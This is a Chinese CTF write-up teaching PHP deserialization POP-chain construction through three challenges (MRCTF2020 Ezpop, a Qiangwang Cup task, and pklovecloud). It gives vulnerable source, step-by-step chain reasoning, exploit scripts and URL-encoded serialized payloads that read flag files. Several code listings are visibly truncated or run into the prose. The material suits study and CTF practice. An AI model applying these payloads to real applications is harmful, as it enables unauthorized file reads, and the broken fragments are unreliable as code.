最近有再看反序列化,尝试着学一下比赛中的反序列化:pop链的构造以及应用
[MRCTF2020]Ezpop先了解一下pop链中的魔法函数:pop构造函数
append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."
";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
本题解题思路:构造pop链
首先找链子的头和尾,头是get参数,尾是Modifier类中的include函数,可以利用php伪协议得到flag,开始从尾向头推。
pop链即:
写出exp:
source=$b; $b -> str=$c; $c -> p =$d; echo urlencode(serialize($a));强网杯 赌徒
name;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){
echo "give you flag : ".$this->flag;
return ;
}
}
class Info
{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?>
本题同样是利用构造pop链解题
pop链即:
exp:
promise='I will not !!!!';
return $this->promise;
}
}
class Room
{
public $filename='/flag';
public $sth_to_set;
public $a='';
}
$a = new Start();
$b = new Info();
$c = new Room();
$d = new Room(); //在源码中存在两个变量的转移,需要两个新类
$a -> name = $b;
$b -> file['filename'] = $c;
$c -> a = $d;
echo urlencode(serialize($a));
?>
第五空间:pklovecloud
ctfhub有题目练习,源码:
cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
本题中同样先看头和尾,头是get传参pks,尾是利用第二个echo name中的file_get_contents()函数得到flag
分析ace类:由尾向前推,知道本题中需要变量neutron和nova相等,可以生成序列化后的内容,再赋值给docker变量进行反序列化。
构造第一段exp:
得到:docker变量的值
O%3A3%3A%22ace%22%3A3%3A%7Bs%3A7%3A%22neutron%22%3Bs%3A1%3A%221%22%3Bs%3A4%3A%22nova%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00%2A%00cinder%22%3BN%3B%7D
往上推:本题中的第一个echo name()函数是没用的,让toString()调用第二个echo name()函数即ace类,第二段exp:
class acp { protected $cinder; public $neutron; public $nova; function __construct() { $this->cinder = new ace; } } class ace { public $filename='flag.php'; public $openstack; public $docker='O%3A3%3A%22ace%22%3A3%3A%7Bs%3A7%3A%22neutron%22%3Bs%3A1%3A%221%22%3Bs%3A4%3A%22nova%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00%2A%00cinder%22%3BN%3B%7D'; } $a=new acp(); echo urlencode(serialize($a));得到:
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A147%3A%22O%253A3%253A%2522ace%2522%253A3%253A%257Bs%253A7%253A%2522neutron%2522%253Bs%253A1%253A%25221%2522%253Bs%253A4%253A%2522nova%2522%253Bs%253A1%253A%25221%2522%253Bs%253A9%253A%2522%2500%252A%2500cinder%2522%253BN%253B%257D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
得到flag



